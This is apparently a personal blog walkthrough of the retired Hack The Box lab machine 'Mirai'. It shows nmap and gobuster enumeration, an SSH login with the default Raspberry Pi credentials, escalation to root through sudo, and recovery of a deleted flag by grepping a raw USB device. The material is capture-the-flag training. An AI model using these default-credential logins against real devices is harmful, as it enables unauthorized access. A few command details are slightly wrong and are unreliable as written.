Mirai – Hackthebox.eu

Did this (now retired) box a while back on Hackthebox.eu. Really digged the IoT style of this box. Gave me an option to explore some new venues. This box was quite easy in compared to some of the others. Lets get started.

Enumeration

As always, I start my enumeration by kicking off nmap against this machine

nmap -sC -sV -oA initialscan 10.10.10.48

The -sU triggers all scripts nmap has against found services , while -sV probes open ports to determine which service/version is running on the box. The -oA makes sure that the output of the scan is stored in all possible formats.

The output of the nmap scan reveals the following:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
1164/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see 4 services that might require further enumeration:

  1. SSH, running on port 22.
  2. DNS, running on port 53.
  3. Webserver, running on port 80.
  4. UPNP, running on port 1164.

Great! So that’s quite a lot for us to play around with. Lets start by just browsing to the web page, served at port 80.

Visiting the web page, we are greeted with a white screen.

 

Hmm. Lets fire up gobuster to see what we can find on the site. I prefer to use gobuster over dirbuster due to its speed. I combine either buster with the SecLists from Daniel Messer, which contains a lot of useful usernames, filenames, etc.

gobuster -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.10.48/ -s '200,204,301,302,307,403,500' -t 50 -x .html,.php,.cgi,.txt

Lets breakdown that command:

  • -w indicates which list gobuster should use for discovery
  • -u states which URL should be used
  • -s indicates which error codes should be spotted during the discoery
  • -t gives you the number of threads
  • -x lets you search for extensions using the same wordlist. So if the wordlist has a value called “readme”, gobuster will check 10.10.10.48/readme, but also 10.10.10.48/readme.html, 10.10.10.48/readme.php, 10.10.10.48/readme.cgi and 10.10.10.48/readme.txt

This gives us the following output:

Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.48/
[+] Threads : 50
[+] Wordlist : /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes : 200,204,301,302,307,403,500
[+] Extensions : .html,.php,.cgi,.txt
==================================================
/admin (Status: 301)
/swfobject.js (Status: 200)
==================================================

Nice, we have 2 hits! Lets start by first going to 10.10.1048/admin

Exploitation

Looks like we found ourselves a admin page for a Pi-Hole instance. A quick search online indicates that this is a piece of software that runs as a DNS server that can block ads. That explains why we saw DNS running at port 53 during our nmap scan. The page also indicates that most of the time, Pi-Hole is running on a small computer called a Raspberry Pi, which runs Raspbian. Raspbian is a light-weight version of Debian, specially created for the ARM-architecture on the Raspberry Pi.

That would also explain why SSH is running on port 22, which we also found during our nmap scan. Before trying all weird kinds of brute-forcing the login for Pi-Hole or the SSH service, lets see what the default SSH-credentials are for Raspbian. Documentation of Raspbian indicates that the default user is pi and the default password is raspberry. Could it be this easy?

ssh 10.10.10.48 -l pi
[email protected]'s password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

Apparently, it is! Sweet. Lets move to the Desktop folder to see whats in there.

[email protected]:~ $ cd Desktop/
[email protected]:~/Desktop $ ls
Plex user.txt
[email protected]:~/Desktop $ cat user.txt 
USERKEYHERE

So that’s the user key in the pocket. Nice!

Privilege Escalation

In this case, it’s quite easy:

[email protected]:~ $ sudo su
[email protected]:/home/pi# whoami
root

Onto the root key!

[email protected]:/home/pi# cd /root
[email protected]:~# ls
root.txt
[email protected]:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...

Well, that’s unfortunate. Seems like the root user lost his key. Let’s see if we can find his USB stick! We can see what the current state of the file system is using:

df

We see that /media/usbstick is mounted to /dev/sdb.

[email protected]:~# cat /dev/sdb root.txt

Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James

Good one James. Sigh.  Lets see if we can recover the file or the hash. Normally I would use testdisk or photorec to recover files, but that won’t work in this case since I cannot mount the file system in an external system. While search for other ways to do this, I stumble onto this blog post. It explains how you can use grep to recover deleted files. We know that the the root flag is 32 characters long (like the user flag). This helps, because that means we can limit our output to the key instead of grepping everything that is in there. So we execute:

grep -a -e '[0-9a-f]\{32\} /dev/sdb'

What does this command do:

  • -a indicates that grep should handle the drive as text.
  • -e is the use the regex pattern that I defined.
  • /dev/sdb is the drive we are searching

Lo and behold, this gives the root flag! Box done.

To see all of this in action, I would like to point you to Ippsec’s page on Youtube about Mirai: